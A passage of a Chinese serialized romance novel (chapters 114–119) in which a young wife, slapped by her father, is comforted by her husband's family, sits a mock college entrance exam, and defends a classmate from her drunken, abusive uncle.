老太太气得直拍桌子,“什么东西!自己的闺女也舍得打?念橙这么好的孩子,他也下得去手?” 第一百一十四章 被爱 老太太拉着苏念橙的手,看着她脸上那红肿的印子,心疼得眼眶都红了。 “念橙啊,别怕。奶奶替你做主。”她转头看向越靳临,“临儿,那个混账在哪儿?你带我去找他,我倒要问问他,凭什么打我孙媳妇儿!” 苏念橙看着她那副义愤填膺的样子,鼻尖忽然酸了。 她想起小时候,母亲还在的时候,有一回她被村里的小孩欺负,脸上划了道口子。母亲蹲下来,捧着她的脸,眼眶红红的,说:“橙子别怕,妈替你做主。” 那时候她觉得,有妈在,什么都不怕。 后来妈走了,就再也没人替她做主了。 可现在—— 她看着老太太那张布满皱纹却满是心疼的脸,眼泪忽然就掉下来了。 被苏国强打的时候没有哭,被苏荷雨下药的时候没觉得委屈,被曾晶晶卡材料的时候也没觉得想哭。 可现在,有人心疼她了,那股憋了十几年的委屈全涌上来。 “奶奶……”她开口,声音哑得厉害,眼泪止不住地流。 老太太吓了一跳,“哎哟,怎么哭了?别哭别哭,奶奶在呢。” 越靳临也急了,走过来,伸手抹掉她脸上的泪,“别哭了,再哭脸更疼。” 苏念橙被他这一说,哭得更凶了。 老太太瞪了越靳临一眼,“你会不会说话?”她拉着苏念橙往里走,“走,奶奶给你上药。别理他,木头一个。” 苏念橙被她拉着,眼泪还在流,心里却暖洋洋的。 老太太让她在沙发上坐下,自己去翻医药箱。越靳临跟过来,在她旁边坐下,看着她那副又哭又狼狈的样子,眉头拧得紧紧的。 “疼不疼?”他问,声音放轻了些。 苏念橙摇摇头,又点点头。 他伸手,轻轻碰了碰她肿起来的那半边脸,指尖刚触到,她就倒吸一口凉气。 他赶紧缩回手,脸色更沉了。 老太太拿着医药箱过来,从里头翻出碘酒和棉签。她蹲在苏念橙面前,蘸了碘酒,小心翼翼地给她擦。 “忍一忍啊,消了毒才好得快。” 碘酒蛰得伤口火辣辣的疼,苏念橙咬着嘴唇,一声没吭。 老太太一边擦一边骂,“那个混账东西,下手这么重。自己的闺女,他也舍得?” 苏念橙低着头,没说话。 擦完药,老太太又拿了个冰袋给她敷上,“敷一会儿,消肿快。” 苏念橙接过冰袋,敷在脸上,凉丝丝的,那股火辣辣的疼慢慢散了。 “奶奶,”她抬起头,眼眶还红着,“谢谢您。” 老太太摆摆手,“谢什么?你是我孙媳妇儿,我不疼你疼谁?”她站起来,“我去给你煮个鸡蛋,滚滚脸,好得快。” 她转身进了厨房。 客厅里只剩下两个人。 越靳临坐在她旁边,看着她那副样子,心里像被什么东西狠狠揪着。 “还疼吗?”他问。 苏念橙摇摇头,“不疼了。” 其实还有点疼,但她不想让他担心。 越靳临看着她,沉默了几秒,忽然伸手,把她揽进怀里。 “以后不会了。”他说,声音低沉,“我不会再让任何人欺负你。” 苏念橙趴在他胸口,听着他沉稳的心跳,眼泪又涌上来。 她没出声,只是攥紧他腰侧的衣服,肩膀轻轻抖着。 他就那么抱着她,一下一下拍着她的背,像哄小孩似的。 过了好一会儿,她的哭声渐渐小了。 “好些了?”他低头看她。 苏念橙点点头,从他怀里抬起头,眼睛肿得像核桃。 “我想上去躺一会儿。”她说,声音还哑着。 越靳临点点头,“我陪你。” 两人上了楼。苏念橙躺到床上,他在床边坐下,看着她。 她闭上眼睛,可脑子里乱糟糟的,全是刚才那一幕。苏国强那张脸,那巴掌,还有那些话。 她翻了个身,面向墙。 “越靳临。”她开口。 “嗯?” “你说……他为什么打我?” 越靳临没说话。 苏念橙盯着墙上那道光斑,“我没做错任何事。苏荷雨被辞退,是她自己作的。可她一告状,他就来打我。不问青红皂白,上来就打。” 她声音越来越小,“从小到大都是这样。只要苏荷雨不高兴,就是我的错。我挨打,挨骂,住柴房,穿她剩的衣服。他从来没问过我一句,你疼不疼?你委屈不委屈?” 她咬着嘴唇,眼泪又涌上来。 “今天那一巴掌,”她声音发颤,“我忽然就明白了。他从来没把我当女儿。在他眼里,我就是个工具。能卖钱就卖钱,不能卖钱就打。” 越靳临伸手,握住她的手。 她的手冰凉,还在抖。 他握紧了些,“别想了。那种人不值得你难过。” 苏念橙深吸一口气,把那点酸意压下去。 “我知道。”她说,“我就是……想不通。同样是女儿,他为什么这么对我?” 越靳临沉默了几秒,“有些人,不配当父亲。” 苏念橙愣了一下,转过头看着他。 他坐在床边,逆着光,脸上的表情看不太清。可那双眼睛,黑沉沉的,带着浓浓的心疼。 她忽然觉得,那些话说出来,好像也没那么难受了。 “你说得对。”她扯了扯嘴角,“他不配。” 越靳临伸手,揉了揉她的头发。 “睡一会儿。”他说,“吃饭叫你。” 苏念橙点点头,闭上眼睛。 他的手还握着她的,没松。 她不知道什么时候睡着的。再醒来的时候,天已经黑了。 她坐起来,脸还是有点疼,但比下午好多了。 楼下传来说话声,有老太太的声音,还有越靳雪的声音。 她下了床,推门出去。 楼下,越靳雪正坐在沙发上,跟老太太说着什么。看见她下来,眼睛一亮。 “嫂子!”她跑过来,脸上的笑忽然僵住了。 她盯着苏念橙脸上那块红肿,眼睛瞪得圆圆的。 “嫂子,你脸怎么了?”她声音都变了调,“谁打的?” 苏念橙下意识摸了摸脸,“没事,不小心碰的。” “碰的?”越靳雪急了,“这哪是碰的?这分明是被人打的!” 她转头看向越靳临,“哥,嫂子脸怎么了?是不是你欺负我嫂子?” 第一百一十五章 倾听 越靳临脸色不太好看,“她爸。” 越靳雪愣住了。 “她爸?”她瞪大眼睛,“她爸打她?” 越靳临点点头。 越靳雪气得脸都红了,“凭什么?凭什么打人?嫂子做错什么了?” 苏念橙拉住她的手,“小雪,没事了。都过去了。” “怎么能没事?”越靳雪看着她脸上那块红肿,眼眶都红了,“嫂子你不疼吗?我看着都疼。” 苏念橙心里一暖,“不疼了。奶奶给我上了药,好多了。” 越靳雪盯着她看了好几秒,最后叹了口气,“嫂子,你以后别理那种人了。他不配当你爸。” 苏念橙笑了,“好。” 老太太从厨房探出头,“吃饭了。念橙,来喝点汤,补补。” 苏念橙应了一声,走过去。 越靳雪跟在她后头,还在念叨,“嫂子,你以后要是再碰到他,你就跑。别傻站着让他打。” 苏念橙笑了,“好,听你的。” 四个人围坐着吃饭。老太太特意炖了排骨汤,给苏念橙盛了一大碗。 “多喝点,补补。” 苏念橙接过碗,“谢谢奶奶。” 越靳雪在旁边给她夹菜,“嫂子,吃这个,这个好吃。” 苏念橙碗里堆得满满的,她看着那一碗菜,心里暖洋洋的。 吃完饭,越靳雪拉着她看电视,叽叽喳喳说个不停。苏念橙靠着沙发,听着她说话,嘴角一直弯着。 越靳临坐在旁边,看着她们,没说话。 夜深了,老太太先上楼睡了。越靳雪也打着哈欠回了屋。 客厅里只剩下两个人。 越靳临伸手,把她拉进怀里。 “今天累不累?”他问。 苏念橙靠在他胸口,“还行。” 他低头,在她额头上亲了一下。 “明天我陪你去上课。”他说。 苏念橙愣了一下,“不用,我自己去就行——” “我送你。”他打断她,“下课来接你。” 苏念橙看着他,那双黑沉沉的眼睛里带着不容拒绝的认真。 她点点头,“好。” 第二天早上,苏念橙吃完饭,越靳临骑车送她去上课。 摩托车在校门口停下,她跳下车。 “那我进去了。”她说。 越靳临点点头,“下课我来接你。” 苏念橙嗯了一声,转身往校门里走。 刚走进教室,苏昭昭就冲过来,“念橙!你脸怎么了?” 苏念橙摸了摸脸,昨晚敷了一晚上,肿消了不少,但还有印子。 “没事,不小心碰的。”她在位置上坐下。 苏昭昭盯着她看了好几秒,还想问,老师进来了。 “同学们,今天有件事要通知大家。”老师站在讲台上,推了推眼镜,“三天后,咱们补习班要组织一次模拟考试。难度跟高考差不多,大家好好准备。” 教室里一片哀嚎。 苏昭昭趴在桌上,“完了完了,我还没复习好呢。” 何佩佩从后头探过头来,“模拟考?这么快?” 苏念橙也愣了愣,心里有点紧张。 她虽然复习了这么久,但心里还是没底。 江月坐在旁边,低着头,没说话。 下课铃响了,苏昭昭还在念叨模拟考的事,“怎么办怎么办,我肯定考不好。” 何佩佩也愁眉苦脸的,“我也是,数学还没看完呢。” 苏念橙看着她们那副样子,忽然笑了,“别愁了,我请你们去吃甜糕吧。新开的那家,可好吃了。” 苏昭昭眼睛一亮,“真的?在哪儿?” “就在工地那边。”苏念橙收拾好东西,“走吧,反正下午没课。” 苏昭昭第一个响应,“好呀好呀!我好久没吃甜的了!” 何佩佩也笑了,“那我可不客气了。” 江月坐在旁边,收拾东西的手顿了顿。 “江月,一起去吧?”苏念橙看向她。 江月抬起头,犹豫了一下,“好。” 四个人出了校门,往工地那边走。 苏念橙骑着自行车,江月坐在后座,何佩佩和苏昭昭一人一辆车。 到了甜糕摊子前,已经排了几个人。苏念橙停好车,站在队尾。 苏昭昭凑过来,“念橙,你怎么知道这儿的?我都没听说过。” 苏念橙笑了笑,“我男人给我买的。” 苏昭昭眼睛亮了,“你男人?就是那个开吉普车的?他对你也太好了吧!” 何佩佩在旁边笑,“可不是,天天接送,还给买好吃的。” 苏念橙脸微微一红,“你们别打趣我了。” 江月站在旁边,听着她们说话,没吭声。 她想起那天在这里碰见越靳临,他蹲下来扶她,还替她赶走了那个插队的男人。 原来他买甜糕,是给苏念橙的。 她低下头,手指攥紧车把。 轮到她的时候,她买了四份。四个人站在路边,一人捧着一块甜糕,热腾腾的,甜丝丝的香味飘在空气里。 苏昭昭咬了一口,眼睛亮了,“好吃!真好吃!” 何佩佩也点头,“确实不错,又软又甜。” 苏念橙咬了一口,嘴角弯了弯,“是吧?我就说好吃。” 江月站在旁边,咬了一口,没说话。 苏昭昭忽然想起什么,“对了念橙,你男人怎么知道这儿的?新开的吧?” 苏念橙点点头,“嗯,他那天路过看见的,就买了。” 江月手里的甜糕顿了顿。 她抬起头,看着苏念橙。她站在阳光下,脸上还带着笑,那半边脸的印子还没消完,可一点都不影响她的好看。 “念橙,”江月忽然开口,“那天我也碰见越哥了。” 苏念橙愣了一下,“什么时候?” “就昨天。”江月低下头,“在甜糕摊子这儿。有人插队,推了我一把,我摔了一跤。越哥帮我赶走了那个人。” 苏念橙眉头皱起来,“你摔了?没事吧?” 江月愣住了。 她以为苏念橙会问别的,比如她为什么一个人在这儿,比如越靳临为什么帮她。 可苏念橙第一句话,是问她有没有事。 “没、没事。”她摇摇头,“就是蹭破了点皮。” 苏念橙松了口气,“那就好。以后一个人出来小心点,那种人别跟他硬碰硬。” 江月看着她,心里忽然有点说不清的滋味。 她想起刚才在路上,苏昭昭问她脸怎么了,她说没事。苏昭昭就没再问。可苏念橙问她摔了没有,是真的在担心她。 她低下头,“谢谢。” 第一百一十六章 挂彩 “谢什么。”苏念橙笑了笑,“大家都是朋友。” 江月攥紧手里的甜糕,没说话。 朋友。 她配吗? 她想起昨天晚上,她躺在床上,盯着那条灰色围巾看了很久。她想,凭什么苏念橙能嫁那么好的人,她不能? 可现在—— 她抬起头,看着苏念橙。 她正跟苏昭昭说话,笑得眼睛弯成月牙。 江月低下头,把手里那块甜糕吃完了。 甜丝丝的,可咽下去的时候,喉咙有点苦。 四个人吃完甜糕,在路口分开。 苏昭昭先骑上车走了,何佩佩也挥挥手拐进了自家胡同。 苏念橙推着自行车,看向江月,“你住哪儿?我送你回去吧。” 江月犹豫了一下,“不用了,我自己走回去就行。” “没事,顺路的事。”苏念橙拍拍后座,“上来吧。” 江月看着她那张真诚的脸,心里那点复杂的滋味又翻涌上来。她点点头,坐上去。 自行车慢慢往前骑。风还是凉的,但比前几天暖和了些。 江月坐在后座,看着苏念橙的背影。她穿着件浅蓝色的棉袄,头发扎成马尾,露出后颈一截白生生的皮肤。骑车的时候脊背挺得直直的,跟她在乡下见过的那些姑娘都不一样。 “前面路口停就行。”江月指了指前头。 苏念橙把车停在路口,江月跳下来。 “那你慢点走。”苏念橙说,“天快黑了,注意安全。” 江月嗯了一声,“谢谢你,念橙。” “谢什么。”苏念橙笑了笑,正要走,江月忽然开口。 “念橙,你脸怎么了?” 苏念橙愣了一下,摸了摸脸上那块还没完全消下去的印子,她轻描淡写道,“没事,跟人吵架,被打了。” 江月愣住了,“跟人吵架?你看起来不像是那种会跟人吵架的人啊。” 苏念橙笑了笑,“有时候也免不了。没事,不碍事。” 江月盯着她看了几秒,嘴唇动了动,“那你以后小心点,挂彩可不好看。” 苏念橙点点头,“好。那我先走了,明天见。” “明天见。” 苏念橙骑上车走了。江月站在原地,看着那个背影消失在街角。 风吹过来,凉飕飕的。她站了一会儿,转身往巷子里走。 还没走到门口,就听见屋里传出来的争吵声。 “又回来了?天天就知道往外跑!”张大山的嗓门大得整条巷子都能听见,“家里活不干,饭不做,真当自己是大小姐了?” 李秀芬的声音压得很低,“你小声点,邻居都听见了——” “听见怎么了?我说错了吗?吃白饭的还不让人说了?” 江月站在门外,手指攥紧车把,指节泛白。 她深吸一口气,推开门。 屋里的声音戛然而止。张大山坐在桌边,脸黑沉沉的,面前的酒杯已经空了。李秀芬站在厨房门口,围裙上沾着油渍,脸上带着没来得及收起来的尴尬。 江月低着头,换了鞋,往自己那间小屋走。 “站住。”张大山叫住她。 江月停下脚步,没回头。 “你二姨夫跟你说话呢,听见没有?”张大山的声音更大了。 江月转过身,看着他。张大山被她那眼神看得愣了一下,随即更火了,“你那是什么眼神?我说错你了?” “大山!”李秀芬走过来,拉了拉他的袖子,“孩子刚回来,你少说两句。” “少说两句?我再说两句怎么了?”张大山甩开她的手,“你姐家的丫头,天天吃咱们家住咱们家的,我说两句还不行了?” 李秀芬脸涨得通红,“她不是在学习吗?等考上大学——” “考上?”张大山冷笑一声,“就她那样,能考上?你看看她,天天往外跑,哪儿学习了?” 江月站在那儿,听着那些话,脸上没什么表情。她转过身,推开门,进了自己那间小屋。 门关上的那一刻,她听见张大山在外头又骂了一句什么,李秀芬拦着,两人吵了起来。 她靠在门板上,闭上眼睛。 桌上那堆书还摊着,笔搁在本子上,墨水干透了。她走过去,坐下来,盯着那些字,一个都看不进去。 脑子里全是刚才苏念橙那个笑。脸上带着伤,还笑得出来。 她咬了咬嘴唇,把书合上。 另一边,苏念橙骑着车往学校赶。骑到半路,她忽然想起来,越靳临说下午来接她的。 她看了一眼手表,已经过了下课时间快一个小时了。 她赶紧加快速度,蹬得快了些。 到了校门口,果然看见越靳临站在路边。 旁边站着两个年轻姑娘,正红着脸跟他说什么。他脸上没什么表情,只是偶尔点点头。 苏念橙把车停过去,“等久了吧?” 越靳临抬起头,看见她,嘴角弯了弯,“还行。” 旁边那两个姑娘看见苏念橙,脸上的笑僵了一瞬,互相看了一眼,讪讪地走了。 苏念橙看着那两个人的背影,忍不住笑了,“又有姑娘找你搭话?” 越靳临没接话,只是看着她,“去哪儿了?不是说下课就出来吗?” “送同学回家了。”苏念橙把自行车推过来,“还去吃了甜糕。你吃饭了吗?” “还没。等你呢。” 苏念橙心里一暖,“那走吧,回家吃饭。奶奶肯定做好了。” 越靳临点点头,看了看她的自行车,又看了看自己的吉普车,“车怎么办?” 苏念橙想了想,“你开吉普车回去,我骑自行车。两辆车都开回去太显眼了。” 越靳临看着她那副认真的样子,笑了,“行。那你慢点骑,我跟着你。” 苏念橙点点头,跨上自行车,慢慢往前骑。吉普车跟在后头,开得很慢,慢到跟自行车的速度刚好持平。 路过那家甜糕摊子的时候,摊主正在收摊,看见他们,笑着打了个招呼。 苏念橙朝他挥挥手,继续往前骑。 回到家,老太太已经把饭菜端上桌了。越靳雪正坐在桌边偷吃,看见他们进来,赶紧把手缩回去。 “奶奶,哥和嫂子回来了!”她喊了一声。 老太太从厨房探出头,“洗手吃饭。” 第一百一十七章 乱局 三个人坐下,越靳雪还在念叨下午的事,“嫂子,你走了以后我一个人在家好无聊,就去医院看陈姨了。芳婷姐也在,还有那个萧医生。” 苏念橙笑了笑,“萧医生也在?” “嗯。”越靳雪点点头,“他天天去,比芳婷姐还勤快。我看他对芳婷姐挺好的,陈姨也喜欢他。” 老太太在旁边接话,“文彦那孩子确实不错。芳婷要是跟他成了,是她福气。” 越靳雪又想起什么,“对了嫂子,我还碰见谢同志了。就上次在广场那个,你还记得吗?” 苏念橙点点头,“记得。怎么了?” “他去医院看病人,正好碰上了。”越靳雪说,脸忽然有点红,“他问我复习得怎么样,还说有什么不懂的可以问他。” 苏念橙看着她那副样子,嘴角弯了弯,“那你问他了吗?” 越靳雪摇摇头,“没有。我又不考大学,问他干嘛。” 老太太笑了,“你这孩子,不考大学也可以多学点东西。你看你嫂子,天天看书,多有出息。” 越靳雪吐吐舌头,“我可没嫂子那么用功。” 苏念橙笑了笑,没说话。 吃完饭,越靳雪拉着老太太看电视,苏念橙上楼复习。 越靳临跟上来,在她旁边坐下,拿起一本书。两人各看各的,谁都没说话。 看了一会儿,苏念橙忽然放下笔,揉了揉眼睛。 “累了?”越靳临抬起头。 苏念橙摇摇头,“就是有点困。” “那早点睡。”他把书放下,“明天还要上课。” 苏念橙嗯了一声,站起来,忽然又想起什么,“对了,今天老师说三天后模拟考。跟高考难度差不多。” 越靳临点点头,“那这三天好好复习。考完带你去吃好吃的。” 苏念橙笑了,“好。” 她躺到床上,他给她盖好被子,在她额头上亲了一下。 “晚安。” “晚安。” 灯灭了。 苏念橙闭上眼睛,很快就睡着了。 另一边,设计院。 何钧礼坐在办公桌前,面前摊着张图纸,已经画了大半,可他盯着那些线条,脑子里一片空白。 这几天他心情不好,图纸画得一塌糊涂。组长已经说了他好几次,说他最近状态不对,让他调整调整。 他越着急,越画不出来。 桌上的烟灰缸里堆满了烟头,屋里烟雾缭绕的。他揉了揉太阳穴,又拿起笔,画了两笔,又停下。 “何钧礼。”组长站在门口,脸色不太好看,“你出来一下。” 何钧礼站起来,跟着他进了办公室。 组长关上门,看着他,“你最近怎么回事?图纸画成这样,怎么交差?” 何钧礼低着头,“最近状态不太好,我调整调整——” “调整?”组长打断他,“你都调整一个礼拜了。再这样下去,这个项目还怎么推进?” 何钧礼没说话。 组长叹了口气,“我知道你家里有事,但工作也不能耽误。明天交不上来,我只能换人了。” 何钧礼抬起头,“明天一定交。” 组长点点头,“行,那你回去吧。” 何钧礼出了办公室,站在走廊里,攥紧拳头。 他深吸一口气,回到自己桌前,重新拿起笔。 可那些线条在眼前晃来晃去,怎么都连不成形。他烦躁地把笔扔在桌上,靠在椅背上,闭上眼睛。 脑子里乱七八糟的,全是苏念橙那张脸。 他睁开眼,又点了根烟。 抽到一半,电话响了。他接起来,那头传来苏荷雨的声音,带着哭腔。 “钧礼,你什么时候回来?” 何钧礼皱了皱眉,“怎么了?” “我妈……”苏荷雨的声音发颤,“医生说她可能是癌症,需要进一步检查。钧礼,我好害怕……” 何钧礼手里的烟顿了顿,“癌症?” “嗯。”苏荷雨哭出声来,“医生说要做手术,要花好多钱。钧礼,我该怎么办?” 何钧礼听着她哭,心里那股烦躁又涌上来。他这几天被工作压得喘不过气,现在又添这档子事。 “你先别哭。”他说,声音有点硬,“等检查结果出来再说。” 苏荷雨听出他语气不对,哭声顿了顿,“钧礼,你是不是不耐烦了?” 何钧礼没说话。 苏荷雨哭得更厉害了,“我知道你工作忙,可我妈病了,我除了你还能找谁?你是我男人,你不帮我谁帮我?” 何钧礼深吸一口气,把那股火压下去,“我没说不帮你。等检查结果出来,我们再想办法。” 苏荷雨还在哭,“可是手术费要好多钱,咱们哪有那么多——” “我说了等结果出来再说!”何钧礼打断她,声音大了些。 电话那头安静了一瞬。 苏荷雨的声音忽然变了,冷下来,“何钧礼,你是不是后悔娶我了?” 何钧礼愣了一下,“你说什么?” “我说,你是不是后悔了?”苏荷雨一字一顿,“你是不是还想着苏念橙?觉得她比我好?” 何钧礼攥紧话筒,指节泛白,“你胡说什么?” “我胡说?”苏荷雨冷笑一声,“你别以为我不知道,你最近老是走神,看我的眼神也不对。你是不是觉得她嫁了个有钱人,你比不上人家,心里不舒服?” “够了!”何钧礼站起来,声音沉下来,“苏荷雨,你再说一句试试?” 电话那头又安静了。 然后传来苏荷雨低低的哭声,“钧礼,我不是要跟你吵。我就是……就是害怕。我妈病了,我不知道该怎么办……” 何钧礼站在那儿,听着她哭,心里那股火慢慢散了。 他坐下来,放软了声音,“别哭了。我明天陪你去医院,等结果出来再说。” 苏荷雨嗯了一声,还在抽泣。 何钧礼又说,“钱的事,你别担心。我有积蓄,不够再想办法。” “真的?”苏荷雨的声音带着点希望。 “嗯。”何钧礼说,“早点睡,明天我去接你。” “好。”苏荷雨挂了电话。 何钧礼把话筒放下,靠在椅背上,盯着天花板。 是不是还想着苏念橙? 他闭上眼睛,脑子里又冒出那张脸。 他睁开眼,把烟掐灭在烟灰缸里,拿起笔,继续画图。 可那些线条,还是连不成形。 第一百一十八章 模拟考 翌日一早,苏念橙起床的时候,越靳临已经出门了。 她洗漱完下楼,老太太正在厨房忙活,越靳雪坐在桌边吃早饭。 “嫂子,快来吃饭。”越靳雪招呼她,“哥说工地有事,先走了。让我告诉你,晚上来接你。” 苏念橙点点头,在她旁边坐下。 吃完饭,她骑车去上课。到教室的时候,苏昭昭已经在了,正趴在桌上打瞌睡。 “昨晚没睡好?”苏念橙在她旁边坐下。 苏昭昭抬起头,眼睛下面一圈黑眼圈,“别提了,复习到半夜。模拟考要来了,我紧张得睡不着。” 何佩佩从后头探过头来,“我也是,昨晚看数学看到两点,越看越糊涂。” 苏念橙笑了,“别太紧张,就当平常考试。” 苏昭昭叹了口气,“你说得轻巧。你复习得怎么样?” 苏念橙想了想,“还行,就是作文还不太有把握。” “作文我也不行。”苏昭昭趴在桌上,“每次都不知道写什么。” 江月坐在旁边,低着头看书,没说话。 上课铃响了,老师走进来,开始讲题。 苏念橙听得认真,手里的笔飞快地记着。讲到一道数学大题的时候,她卡住了,怎么都算不对。 她皱了皱眉,又算了一遍,还是不对。 “这道题应该用这个公式。”旁边传来一个声音。 苏念橙转过头,江月指着她本子上那道题,手指点了点一个公式,“你试试这个。” 苏念橙愣了一下,照着那个公式算了一遍,果然通了。 “谢谢你,江月。”她笑了,“你数学真好。” 江月摇摇头,“没有,就是多看了几遍。” 苏念橙看着她的侧脸,心里忽然有点暖。江月平时话不多,安安静静的,但每次她有问题,都会帮忙。 “江月,”她压低声音,“你复习得怎么样?” 江月手顿了顿,“还行吧。” “那咱们一起复习?”苏念橙说,“我和佩佩、昭昭,还有你。四个人一起,互相帮忙。” 江月愣住了。她看着苏念橙那双真诚的眼睛,心里那点复杂的滋味又翻涌上来。 “好。”她点点头,低下头继续看书。 苏念橙收回目光,继续做题。 下课后,四个人约好放学后去图书馆一起复习。 苏念橙收拾好东西,刚要走,忽然被老师叫住了。 “苏念橙,你留一下。” 苏念橙愣了一下,走回讲台边。 老师看着她,推了推眼镜,“你最近进步很大,继续保持。不过作文还要加强,多看看范文。” 苏念橙点点头,“谢谢老师。” “还有,”老师顿了顿,“模拟考好好考。以你现在的水平,高考有希望。” 苏念橙眼睛亮了,“真的?” “真的。”老师笑了,“别给自己太大压力,正常发挥就行。” 苏念橙心里那块石头落了地,“谢谢老师。” 她出了教室,脚步轻快。 三天时间一晃就过去了。 模拟考这天,苏念橙起了个大早。她站在镜子前,把头发扎成马尾,深吸一口气,下楼吃饭。 老太太煮了粥,还特意煎了两个荷包蛋,“多吃点,考试费脑子。” 越靳雪在旁边给她夹菜,“嫂子,别紧张。你肯定行。” 苏念橙笑了笑,“好。” 吃完饭,越靳临送她去学校。摩托车停在门口,她跳下车。 “考完我来接你。”他说。 苏念橙点点头,转身往校门里走。 考场在二楼,苏昭昭已经在了,趴在桌上,脸埋在胳膊里。何佩佩坐在她旁边,正翻着笔记本,嘴里念念有词。 苏念橙走过去,在她旁边坐下,“复习得怎么样?” 何佩佩抬起头,眼睛下面一圈黑眼圈,“别提了,昨晚看到三点,现在脑子一团浆糊。” 苏昭昭从胳膊里抬起头,脸皱成一团,“我也是。数学好多公式还没背熟。” 苏念橙拍拍她的肩,“别想那么多,正常发挥就行。” 江月坐在前头,回过头看了她们一眼,没说话,又转回去。 铃声响了。监考老师走进来,发卷子。 苏念橙接过卷子,先浏览了一遍。语文,作文题目是我的理想。 她愣了一下,脑子里闪过很多东西。 她想起小时候,母亲问她长大了想干什么。她说想当老师,教好多好多学生。母亲笑了,说橙子有志气。 后来母亲走了,那个理想也跟着埋起来了。 现在—— 她深吸一口气,提笔写下去。 教室里安静得很,只有笔尖划过纸面的沙沙声。苏念橙写得顺,一页接一页,没停过。 写完最后一个字,她抬起头,看了看窗外。阳光从窗户照进来,落在桌面上,暖洋洋的。 下午考数学。这是她最没把握的一科。拿到卷子,她先看了一眼大题,心里有了数。前面做得顺,最后一道大题卡住了。 她算了三遍,都不对。 额头上渗出细汗,她咬着嘴唇,盯着那道题。忽然想起江月说的那个公式,她试了一遍,通了。 她松了口气,把答案写上去。 交卷的时候,她手心全是汗。 出了考场,何佩佩第一个冲过来,“完了完了,我数学好几道题没写完!最后那道大题,我连看都没看懂!” 苏昭昭也愁眉苦脸的,“我也是,选择题好几道拿不准。念橙,你做完了吗?” 苏念橙点点头,“做完了。最后那道题我也是快交卷才算出来,差点没赶上。” “那也比我们强。”何佩佩叹了口气,“我感觉这次要垫底了。” 江月从后头走过来,抱着书,安安静静的。 苏昭昭看见她,眼睛一亮,“江月,你考得怎么样?你数学那么好,肯定都会吧?” 江月摇摇头,“也不太好。” 何佩佩哀嚎一声,“完了,连你都觉得难,那我更没戏了。” 江月看着她那副样子,忽然说,“要不我辅导你们吧?数学和英语我还可以。” 苏昭昭眼睛亮了,“真的?月月你太好了!” 何佩佩也高兴了,“谢谢你江月!改天请你吃饭!” 江月摇摇头,“不用,大家都是同学。” 第一百一十九章 帮她 苏念橙站在旁边,看着江月那张温和的脸,心里一暖,“我也可以帮忙辅导语文和英语,大家一起进步。” 苏昭昭一把搂住她的胳膊,“念橙你也太好了!咱们四个一起复习,肯定都能考上!” 四个人边说边往校门口走。 夕阳把天边染成橙红色,风吹过来,凉丝丝的。苏念橙远远就看见越靳临站在摩托车旁边,换了件深灰色的棉袄,围着那条蓝白围巾。 苏昭昭也看见了,捅捅何佩佩的胳膊,“你看,念橙男人又来接她了。” 何佩佩笑了,“天天来,风雨无阻。” 苏念橙脸微微一红,加快脚步走过去。 越靳临看见她,嘴角弯了弯,“考完了?” 苏念橙点点头,“嗯。” 他目光落在后头那几个人身上,点点头算是打了招呼。苏昭昭和何佩佩笑着挥挥手,江月也点了点头。 “走吧,回家。”越靳临跨上摩托车。 苏念橙没动,回头看了一眼江月,“江月,我送你回去吧。天快黑了,你一个人不安全。” 江月愣了一下,“不用——” “没事,顺路。”苏念橙已经推着自行车过来了,“上来吧。” 越靳临也开口了,“我陪你们一起。” 江月看着那两个人,心里那点复杂的滋味又翻涌上来。她点点头,坐上苏念橙的后座。 摩托车开在前头,自行车跟在后头。三个人慢慢往前骑。 天边最后一丝光落下去,路灯亮起来了。风吹在脸上,凉飕飕的。 江月坐在后座,看着苏念橙的背影。她骑车的时候脊背挺得直直的,马尾在风里轻轻晃。 前头那辆摩托车开得很慢,慢到跟自行车的速度刚好持平。那个男人时不时回头看一眼,像是在确认她们跟上没有。 江月低下头,攥紧车座边缘。 快到巷子口的时候,迎面撞上一个人。 张大山穿着件脏兮兮的棉大衣,脸喝得通红,手里还拎着个酒瓶子。他看见江月,眼睛一瞪,破口大骂。 “你个死丫头!又跟人鬼混去了?天天不着家,你眼里还有没有这个家?” 江月脸一下子白了。她从车上跳下来,站在那儿,浑身发抖。 张大山趔趄着走过来,指着她的鼻子骂,“老子供你吃供你住,你就这么报答老子?成天跟些不三不四的人混在一起,还想考大学?你做梦!” 苏念橙停好车,眉头皱起来。她看向江月,“这是谁?” 江月咬着嘴唇,没说话。她低着头,手指攥着衣角,攥得指节泛白。 她不想让他们看见这个。不想让苏念橙看见,更不想让越靳临看见。 “二姨夫,我回去再说——”她开口,声音发颤。 “回去说什么?”张大山打断她,嗓门更大了,“你现在就说!这两个是谁?你是不是跟男人出去鬼混了?” 江月脸涨得通红,“他们没有——” “没有什么?”张大山往前走了一步,指着越靳临,“这男的是谁?你是不是跟他搞在一起了?” 江月脑子里嗡的一声。她下意识看向越靳临,他站在摩托车旁边,脸上没什么表情,可那双眼睛,沉了下来。 她赶紧摇头,“不是!他是我同学的丈夫——” “丈夫?”张大山冷笑一声,“同学的丈夫关你什么事?你天天跟人家混在一起,安的什么心?” 江月眼泪涌上来,她咬着嘴唇,拼命忍着。 苏念橙听不下去了,“叔叔,您误会了。我们是同学,一起复习考试,刚下课。江月天天去上课,从来没跟别人鬼混过。” 张大山斜着眼看她,“你谁啊?” “我叫苏念橙,是江月的同学。”苏念橙看着他,“您要是不信,可以去学校问。补习班的老师可以作证。” 张大山哼了一声,还想说什么,越靳临开口了。 “这位同志。”他声音不大,但冷得很,“有话好好说,别骂人。” 张大山被他那眼神看得愣了一下,随即更火了,“你谁啊?我骂我侄女,关你什么事?” “她是我媳妇儿的同学。”越靳临往前走了一步,居高临下地看着他,“你当着我们的面骂人,不合适。” 张大山被他那气势压得往后退了半步,酒醒了大半。他张了张嘴,想说什么,又咽回去。 江月站在旁边,眼泪终于掉下来。她低着头,肩膀轻轻抖着。 苏念橙走过去,握住她的手,“江月,别哭了。” 江月抬起头,她抹了把眼泪,“你们回去吧,我没事。” “可是——” “真的没事。”江月打断她,抽回手,“我习惯了。你们走吧,别耽误时间。” 苏念橙还想说什么,江月已经转过身,往巷子里走。 张大山站在那儿,看着她的背影,又看看越靳临和苏念橙,哼了一声,转身跟上去。 走了几步,他又回过头,指着苏念橙,“你以后少带她往外跑。考什么大学?考上了也供不起。” 苏念橙眉头皱起来,“叔叔,江月成绩很好,不考大学可惜了——” “可惜什么?”张大山打断她,“一个丫头片子,读那么多书有什么用?早点找个厂子上班,挣点钱贴补家用才是正经。” 苏念橙还想说什么,越靳临拉住她的胳膊,摇了摇头。 张大山又骂骂咧咧了几句,转身走了。 